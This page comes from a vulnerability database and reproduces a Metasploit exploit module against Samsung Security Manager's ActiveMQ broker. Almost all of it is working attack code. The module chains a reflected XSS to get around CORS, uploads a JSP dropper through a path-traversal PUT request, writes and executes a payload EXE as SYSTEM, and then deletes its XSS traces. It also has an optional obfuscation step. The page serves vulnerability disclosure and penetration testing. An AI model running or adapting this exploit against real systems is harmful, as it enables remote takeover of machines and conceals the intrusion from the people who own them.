Lucene search
K

SRC-2016-0032 : Samsung Security Manager ActiveMQ Broker Service PUT Method Remote Code Execution Vulnerability

🗓️ 25 Jul 2016 00:00:00Reported by Steven Seeley of Source InciteType 
srcincite
 srcincite
🔗 srcincite.io👁 12 Views

Samsung Security Manager ActiveMQ Broker Service PUT Method Remote Code Execution Vulnerabilit

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Samsung Security Manager 1.4 ActiveMQ Broker Service PUT Method Remote Code Execution",
        'Description' => %q{
          This is an exploit against Samsung Security Manager that bypasses the patch in ZDI-15-156 & ZDI-16-481
          by exploiting the vulnerability against the client-side. This exploit has been tested successfully using
          IE, FireFox and Chrome by abusing a GET request XSS to bypass CORS and reach the vulnerable PUT. Finally
          a traversal is used in the PUT request to upload the code just where we want it and gain RCE as SYSTEM.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'mr_me',                            # AWAE training 2016
        ],
        'References' => [
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-15-156/' ], # client vs server
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-16-481/' ] # client vs server
        ],
        'Platform' => 'win',
        'Targets' => [
          [ 'Samsung Security Manager 1.32 & 1.4 Universal', {} ] # tested on 1.32 & 1.4
        ],
        'DisclosureDate' => '2016-08-05',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
      ]
    )
  end

  # this is because String.fromCharCode has a max of 65535 func args
  # thanks to sinn3r for his help with the Array->String conversion
  def encode_js(string)
    i = 0
    encoded_0 = []
    encoded_1 = []
    string.each_byte do |c|
      if i > 65534
        encoded_1 << c
      else
        encoded_0 << c
      end
      i += 1
    end
    if i > 65534
      return encoded_0 * ",", encoded_1 * ","
    else
      return encoded_0 * ","
    end
  end

  # tested on Firefox v46.0.1 (latest)
  # tested on Chrome v50.0.2661.102 (latest release)
  # tested on IE v11.0.9600.18314 (latest)
  def on_request_uri(cli, request)
    js_name = rand_text_alpha(rand(10) + 5) + '.js'

    payload_url = "#{get_uri(cli)}/#{js_name}"

    # we deliver the JavaScript code that does the work for us
    if (request.uri.match(/.js/))
      return if ((p = regenerate_payload(cli)) == nil)

      # dont exploit again otherwise we get a zillion shells
      return if session_created? or @exploited

      jsp_name = rand_text_alpha(rand(10) + 5) + '.jsp'
      exe_name = rand_text_alpha(rand(10) + 5) + '.exe'

      # clean just the jsp, because the exe dropper will be in use
      register_files_for_cleanup("../../webapps/admin/#{jsp_name}")

      # our jsp upload, ensuring native code execution
      jsp = %Q|<%@ page import="java.io.*" %>
      <%
      ByteArrayOutputStream buf = new ByteArrayOutputStream();
      BufferedReader reader = request.getReader();
      int tmp;
      while ((tmp = reader.read()) != -1) { buf.write(tmp); }
      FileOutputStream fostream = new FileOutputStream("#{exe_name}");
      buf.writeTo(fostream);
      fostream.close();
      Runtime.getRuntime().exec("#{exe_name}");
      %>|

      # encode the payloads
      encoded_exe = encode_js(generate_payload_exe(code: payload.encoded))
      encoded_jsp = encode_js(jsp)

      # targets
      jsp_uri = "http://localhost:8161/fileserver/..%5c%5cadmin%5c%5c#{jsp_name}"
      upload_uri = "http://localhost:8161/admin/#{jsp_name}"

      # this code does the PUT, then uploads/exec native code and then cleans the XSS out :->
      js_content = %Q|

      function do_put(uri, file_data) {
        var file_size = file_data.length;
        var xhr = new XMLHttpRequest();
        xhr.open("PUT", uri, true);
        var body = file_data;
        xhr.send(body);
        return true;
      }

      function do_upload(uri, file_data) {
        var file_size = file_data.length;
        var xhr = new XMLHttpRequest();
        xhr.open("POST", uri, true);
        var body = file_data;

        // latest ff doesnt have sendAsBinary(), so we redefine it
        if(!xhr.sendAsBinary){
          xhr.sendAsBinary = function(datastr) {
            function byteValue(x) {
              return x.charCodeAt(0) & 0xff;
            }
            var ords = Array.prototype.map.call(datastr, byteValue);
            var ui8a = new Uint8Array(ords);
            this.send(ui8a.buffer);
          }
        }
        xhr.sendAsBinary(body);
        return true;
      }

      function bye_bye_xss(uri){
        var xhr = new XMLHttpRequest();
        xhr.open('GET', uri.replace(/\\+/g,"%2b"), true);
        xhr.send();
      }

      function clean_up(){
        var xhr = new XMLHttpRequest();
        xhr.onreadystatechange = function() {
          if (xhr.readyState == XMLHttpRequest.DONE) {
            var els = xhr.responseXML.getElementsByTagName("a");
            for (var i = 0, l = els.length; i < l; i++) {
              var el = els[i];
              if (el.href.search("http://localhost:8161/admin/deleteDestination.action") == 0) {
                bye_bye_xss(el.href);
              }
            }
          }
        }
        xhr.open('GET', 'http://localhost:8161/admin/queues.jsp', true);
        xhr.responseType = "document"; // so that we can parse the reponse as a document
        xhr.send(null);
      }

      function exploit(){
        do_upload('#{upload_uri}', String.fromCharCode(#{encoded_exe[0]}) + String.fromCharCode(#{encoded_exe[1]}));
        clean_up();
      }

      function start() {
        do_put('#{jsp_uri}', String.fromCharCode(#{encoded_jsp}));
        setTimeout(exploit(), 4000); // timing is important
      }
      start();
      |

      if datastore['OBFUSCATE']
        js_content = ::Rex::Exploitation::JSObfu.new(js_content)
        js_content.obfuscate(memory_sensitive: true)
      end

      print_status("Sending javascript...")
      @exploited = true
      send_response_html(cli, js_content, { 'Content-Type' => 'application/javascript' })
      return
    end

    if datastore['OBFUSCATE']
      js_content = ::Rex::Exploitation::JSObfu.new(js_content)
      js_content.obfuscate(memory_sensitive: true)
      onlick = ::Rex::Exploitation::JSObfu.new(onlick)
      onlick.obfuscate(memory_sensitive: true)
    end

    # we can bypass Access-Control-Allow-Origin (CORS) in all browsers using iframe since it makes a GET request
    # and the response is recieved in the page (even though we cant access it due to SOP) which then fires the XSS
    html_content = %Q||
    print_status("Sending exploit...")
    send_response_html(cli, html_content)
    handler(cli)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation